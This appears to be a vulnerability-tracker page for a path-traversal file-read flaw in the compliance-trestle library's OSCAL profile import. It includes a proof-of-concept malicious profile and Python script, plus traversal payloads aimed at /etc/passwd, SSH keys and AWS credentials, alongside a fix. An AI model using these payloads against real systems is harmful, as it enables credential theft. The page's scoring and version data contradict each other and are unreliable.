CVE-2026-45774

MEDIUMPre-NVD 0.0
0.0
EchelonGraph verdictMonitorLow exploitation likelihood right now — keep watching.
  • No confirmed exploitation signals yet
CISA-KEV: Not listedEPSS: 0%CVSS: Exploit: NoneExposed: 0

No vendor fix yet — apply a workaround or compensating control (WAF / firewall / segmentation) and watch for a patch.

compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal

Summary

The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no boundary check to ensure the resolved path stays within the trestle workspace. An attacker can craft a malicious OSCAL profile YAML with imports[].href containing path traversal sequences to read arbitrary files from the server filesystem.

Three attack vectors confirmed:

  • PT-001: trestle://../../etc/passwd — via trestle:// URI scheme
  • PT-002: ../../etc/passwd — via relative path in href
  • PT-003: back_matter rlinks with traversal paths

Preconditions: Victim must import/resolve an attacker-controlled OSCAL profile YAML.

Affected Component

Repository: https://github.com/IBM/compliance-trestle File: trestle/core/remote/cache.py (lines 175-179) File: trestle/core/resolver/_import.py (line 104) Version: v4.0.2 (latest as of 2026-04-30)

Vulnerable Code

cache.py:175-179 — LocalFetcher (trestle:// URI handling)

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ NO boundary check — .resolve() follows ../
            # ❌ NO is_relative_to() validation
            # ❌ Result can be /etc/passwd
            self._cached_object_path = self._abs_path
            return

cache.py:194 — LocalFetcher (relative path handling)

# For relative paths (no trestle:// or file:// prefix):
        try:
            self._abs_path = pathlib.Path(uri).resolve()
            # ❌ Same issue — resolves relative to CWD with no boundary check
        except Exception:
            raise TrestleError(...)

_import.py:73-104 — Profile import href resolution

class Import(Pipeline.Filter):
    def __init__(self, ...):
        # Line 73-83: back_matter rlinks used directly
        if self._import.href[0] == '#':
            resource = [r for r in self._resources if r.uuid == self._import.href[1:]][0]
            self._import.href = [
                rlink.href  # ❌ rlink.href from OSCAL data — user-controlled
                for rlink in resource.rlinks
                if rlink.href.endswith('.json') or rlink.href.endswith('.yaml')
            ][0]

# Line 104: href passed directly to FetcherFactory fetcher = cache.FetcherFactory.get_fetcher(self._trestle_root, self._import.href)

Root Cause:

  • Path(trestle_root / "../../etc/passwd").resolve() = /etc/passwd
  • No is_relative_to(trestle_root) check after resolve
  • TRESTLE_HREF_REGEX defined at const.py:253 but NEVER enforced (dead code)
  • Even if enforced, the regex '^trestle://[^/]' would PASS traversal payloads (. is [^/])

Steps to Reproduce

Prerequisites

pip install compliance-trestle==4.0.2

PoC: Malicious OSCAL Profile

# malicious_profile.yaml
profile:
  uuid: "550e8400-e29b-41d4-a716-446655440000"
  metadata:
    title: "Malicious Profile"
    version: "1.0"
    last-modified: "2024-01-01T00:00:00+00:00"
    oscal-version: "1.0.4"
  imports:
  • href: "trestle://../../../../../../etc/passwd"

PoC: Direct LocalFetcher Exploit

#!/usr/bin/env python3
"""PoC: trestle:// path traversal via real LocalFetcher"""
from pathlib import Path
from trestle.core.remote.cache import LocalFetcher
import tempfile

trestle_root = Path(tempfile.mkdtemp())

Normal usage — stays within workspace

normal = LocalFetcher(trestle_root, "trestle://catalogs/test/catalog.json") print(f"Normal: {normal._abs_path}") # /tmp/xxx/catalogs/test/catalog.json

Exploit — escapes workspace

evil = LocalFetcher(trestle_root, "trestle://../../../../../../etc/passwd") print(f"Evil: {evil._abs_path}") # /etc/passwd print(f"Content: {evil._abs_path.read_text().split(chr(10))[0]}")

Output: root:x:0:0:root:/root:/bin/bash

Expected: Path traversal blocked with error Actual: /etc/passwd, /etc/shadow, /proc/self/environ read successfully

Remediation

class LocalFetcher(FetcherBase):
    def __init__(self, trestle_root: pathlib.Path, uri: str) -> None:
        super().__init__(trestle_root, uri)
        # ...
        elif uri.startswith(const.TRESTLE_HREF_HEADING):
            uri = str(trestle_root / uri[len(const.TRESTLE_HREF_HEADING) :])
            self._abs_path = pathlib.Path(uri).resolve()

# ✅ ADD: Boundary check if not self._abs_path.is_relative_to(self._trestle_root): raise TrestleError( f"Path traversal blocked: resolved path '{self._abs_path}' " f"is outside trestle root '{self._trestle_root}'" )

self._cached_object_path = self._abs_path return

Same fix needed for relative path handling at line 194.

Additionally, enforce TRESTLE_HREF_REGEX (already defined at const.py:253 but never used).

Resources

  • CWE-22: https://cwe.mitre.org/data/definitions/22.html
  • OSCAL Profile Resolution: https://pages.nist.gov/OSCAL/concepts/processing/profile-resolution/
  • compliance-trestle: https://github.com/IBM/compliance-trestle

Impact

  • Credential Theft via OSCAL Import:
imports:
  • href: "trestle://../../root/.aws/credentials"
  • href: "trestle://../../root/.ssh/id_rsa"
  • System Reconnaissance:
  • imports:
    
    • href: "trestle://../../etc/passwd"
    • href: "trestle://../../proc/self/environ"
  • Supply Chain Attack:
  • Attacker publishes malicious OSCAL profile to public compliance catalog. Organizations importing it leak server files during profile resolution.
    • Dead Code Evidence:
    TRESTLE_HREF_REGEX defined at const.py:253 but never enforced anywhere — proves path validation was INTENDED but never implemented.

    CVSS v3
    EG Score
    0.0(none)
    EPSS
    19.5%
    KEV
    Not listed

    Published

    May 28, 2026

    Last Modified

    May 28, 2026

    Vendor Advisories for CVE-2026-45774(1)

    These vendors published their own advisory mentioning this CVE — often with vendor-specific remediation steps + affected product lists not in NVD.

    Affected Packages

    (1 across 1 ecosystem)
    PyPI(1)
    PackageVulnerable rangeFixed inDependents
    compliance-trestle0.0.2 ... 3.9.3 (97 versions)3.12.2

    Data Freshness Timeline

    (refreshed 0× in last 7d / 0× in last 30d)

    Each row is a source pipeline that fetched or updated this CVE on that date, with what changed. For example, "NVD update" means NVD published or revised its analysis for this CVE; "MITRE cvelistV5" means we ingested or refreshed it from the CNA feed. Most recent first.

    1. 2026-06-14 23:18 UTCEPSS rescore
    2. 2026-06-13 23:00 UTCEPSS rescore
    3. 2026-06-13 08:28 UTCEG score recompute
    4. 2026-06-12 23:12 UTCEPSS rescore
    5. 2026-05-28 18:06 UTCEG score recompute

    Frequently asked(4)

    What is CVE-2026-45774?
    CVE-2026-45774 is a medium vulnerability published on May 28, 2026. compliance-trestle Profile Import has an Arbitrary File Read via trestle:// URI and Relative Path Traversal Summary The compliance-trestle library's profile import mechanism resolves trestle:// URIs and relative file paths by joining them with trestle_root and calling .resolve(), but performs no…
    When was CVE-2026-45774 disclosed?
    CVE-2026-45774 was first published in the National Vulnerability Database on May 28, 2026. EchelonGraph re-ingests CVE updates from NVD on a 2-hour cycle, so this page reflects the latest published state.
    Is CVE-2026-45774 actively exploited?
    CVE-2026-45774 is not currently on CISA's Known Exploited Vulnerabilities catalog. FIRST EPSS estimates a 19.5% percentile likelihood of exploitation in the next 30 days — higher percentiles indicate greater predicted risk.
    How do I remediate CVE-2026-45774?
    Patch to the fixed version published by the affected vendor. Where vendor advisories exist for CVE-2026-45774, EchelonGraph cross-links them in the Vendor Advisories panel below — those typically contain the canonical remediation steps, fixed version numbers, and any vendor-specific mitigations.

    Dependency Blast Radius

    See which npm, PyPI, Go, and Maven packages are affected by CVE-2026-45774

    Explore →

    Is Your Infrastructure Affected by CVE-2026-45774?

    EchelonGraph automatically scans your cloud infrastructure and maps CVE exposure using blast radius analysis.